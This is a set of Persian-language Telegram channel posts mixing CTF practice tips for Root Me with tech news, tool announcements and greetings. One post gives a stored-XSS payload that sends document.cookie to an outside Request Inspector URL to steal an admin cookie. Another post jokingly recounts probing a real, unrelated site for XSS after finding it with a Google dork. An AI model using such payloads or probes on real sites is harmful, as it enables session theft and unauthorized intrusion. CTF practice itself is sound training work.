Root Me is a platform for everyone to test and improve knowledge in computer security, hacking and CTFs.

Link:
https://www.root-me.org/?lang=en


این وب سایت برای تمرین کردن هکر ها طراحی شده و شما می‌رید و یک سری چالش که توی Root Me هست رو حل می‌کند و موقعی که حل میشه به شما یک کد داده میشه و وقتی کد رو وارد کنید به شما امتیاز اون چالش رو میده.
برای حل چالش ها شما نیاز به دانش برنامه نویسی، آشنایی با آسیب پذیری ها و بعضی از ابزار ها و هر چیزی که یک هکر نیاز داره رو نیاز دارید.


#امنیت


@Pairen_Programmers

شاید برای شما هم پیش اومده باشه که توی ماشین مجازی لینوکس ریختین و میخواید با php یک سرور روی لوکال هاست بسازد و به وسیله‌ی ngrok اون لینکی که روی لوکال هاست ساختین رو forward کنید و کوکی بردارید اما php سرور جواب نمیده و کار نمیکنه.
جوابش این هست که شما وقتی روی لوکال هاست می‌سازید اون فقط به لوکال هاست گوش میده ولی اگه شما روی
0.0.0.0:9889
بسازید به بقیه هم گوش میده.

این هم جوابی که یک نفر توی Stackoverflow نوشته:
https://stackoverflow.com/questions/46172700/i-cannot-reach-php-built-in-server-running-on-a-vm

❗️توجه: البته من خودم هنوز این راه حل رو امتحان نکردم که ببینم اگه همین کار رو کنم مشکل حل میشه یا نه ولی موقعی که میخواستم با php سرور کوکی بردارم اصلا php سرور جواب نمی‌داد.



#امنیت
#php



@Pairen_Programmers

میتونید به عوض php سرور از Request Inspector استفاده کنید و کوکی بردارید.
این برداشتن کوکی مال یکی از چالش های روت می هست.(وقتی پیلود رو سابمیت کردید، چند بار صفحه‌ی Request Inspector رو رفرش کنید و چند ثانیه صبر کنید تا ADMIN_COOKIE براتون ارسال بشه. گاهی اوقات لازمه چند بار پیلود رو سابمیت کنید تا بعد ADMIN_COOKIE براتون بیاد.)
چالش root me xss stored 1

برای برداشتن کوکی میتونید از این پیلود استفاده کنید.
<script>document.location="URL?c="+document.cookie</script>

توی قسمت 'URL' باید لینکی که از Request Inspector میگیرید بگذارید.



#امنیت
#XSS




@Pairen_Programmers

حرفای خیلی جالبی زدن. :)
واقعاً باید در کنار تحقیق و یادگیری عمل هم کرد تا تجربه کسب کنیم.


#تازه_کار



@Pairen_Programmers

😂😂😂


پ.ن: امروز رفتم توی گوگل سرچ کردم درباره‌ی دورک هایی که برای xss استفاده میشه. دورک رو استفاده کردم و یک سایت رو پیدا کردم. رفتم توی تور سایت رو باز کردم توی قسمت سرچ نوشتم:
<script>alert(1)</script>
این رو که نوشتم و روی دکمه‌ی سرچ زدم دیدم نوشت بلاک شدید.😂😂😂


#Fun



@Pairen_Programmers

این همون کد توی آزمون هست.

#Python


@Pairen_Programmers

عید قربان رو به همه‌ی اعضای کانال تبریک میگم.🌹
🌷🌷🌷 «عید قربان مبارک» 🌷🌷🌷


@Pairen_Programmers

یک افزونه‌ی خوب پیدا کردم برای اینکه وقتی مقالات انگلیسی توی مرورگر میخونم دیگه لازم نیست اون کلمه رو انتخاب کنم و کپی کنم و بعد برم توی سایت گوگل ترنسلیت و جایگذاری کنم. برای همین رفتم یک افزونه نصب کردم و الان دیگه یک کلمه رو که انتخاب میکنم، یک دکمه زیرش میاد که روی اون میزنم و ترجمه می‌کنه. صدا هم داره که کلمات رو تلفظ می‌کنه و باعث میشه کلمات رو اشتباه نخونم. :)

میتونید برید خودتون توی گوگل سرچ کنید و اون افزونه رو دانلود کنید.
سرچ کنید:
Google translate extension



#دانستنی



@Pairen_Programmers

PWK = Pentesting(Penetration testing) with Kali
حالا معانی رو ببینید.
فقط اون آخری.



#Fun



@Pairen_Programmers

میزو mblu 10s معرفی شد: طراحی شبیه ایفون 13

مشخصات
🔹نمایشگر 6.52 اینچی IPS LCD
🔹چیپست یونیساک T310
🔹حافظه رم 4 یا 6 گیگابایتی
🔹حافظه داخلی 64 یا 128 گیگابایتی
🔹دوربین اصلی 48+2+0.3 مگاپیکسلی سه‌گانه
🔹باتری 5000 میلی‌آمپر‌ ساعتی
🔹رابط کاربری Flyme 9 Lite
🔹رنگ‌بندی مشکی، سفید و آبی
🔹قیمت پایه 108 دلار

@Pairen_Programmers

⭕️ گفتگوی کلاب هاوس محمد جرجندی در رابطه با اختلالات اینترنت.
اتاق کامل را اینجا بشنوید.👇
https://www.clubhouse.com/room/xnbYkJ4X

منبع: وب آموز


#خبر


@Pairen_Programmers

همتون نوبید من هکرم.😂


#Fun




@Pairen_Programmers

🔹‏فرض کنید کسی گوشیتون رو گرفته و مجبورتون می‌کنه رمزش رو وارد کنید. آرزو نمی‌کنید یه رمزی بلد بودید که گوشیتون فقط چیزی که می‌خواید رو نشون بده نه چیزایی که واقعا دارید؟

حالا second space دقیقا کارش همین هست. گوشی‌تون با رمز خاصی وارد فضایی می‌شه که محیط کلیش جداست از فضای کاربری اصلی‌تون. برنامه‌های اولیه رو داره و شکل و شمایلش طوریه که انگار استفاده زیادی از گوشی نمی‌کنید. چون حافظه ذخیره سازیش هم جداست، برای محکم کاری می‌تونید چندتا عکس و محتوا هم تو «فضای دوم» ذخیره کنید و حتی یکی دو برنامه نصب کنید.

🔸‏می‌تونید براش اثر انگشت جداگانه تعریف کنید و مثلا اگه با انگشت متفاوتی باز کردید گوشی رو مستقیم ببره تو فضای دوم. البته این قابلیت فعلا فقط برای کاربرای اندروید (گاهی با اسم private space) بصورت پیش‌فرض و تو تنظیمات گوشی قابل فعال هست.


پ.ن: ان‌شاءالله که سازنده قصدش از ساخت این فضا خیر بوده.



#اخبار_تکنولوژی



@Pairen_Programmers

نگارش ۱ آراسته منتشر شد. 🎉
آراسته یک ابزار خط‌فرمان برای ساخت ascii-art از نوشته‌های فارسی است.
مشابه ابزارهای toilet و figlet برای نوشته‌های فارسی.
امروز به نگارش ۱ رسید و می‌تونید ازش استفاده کنید.
لینک: https://github.com/ekm507/araste

ستاره هم یادتون نره.😁


#آراسته
#ریپازتوری



@Pairen_Programmers

عید سعید غدیر خم پیشاپیش مبارک.🌹🌷🌺




@Pairen_Programmers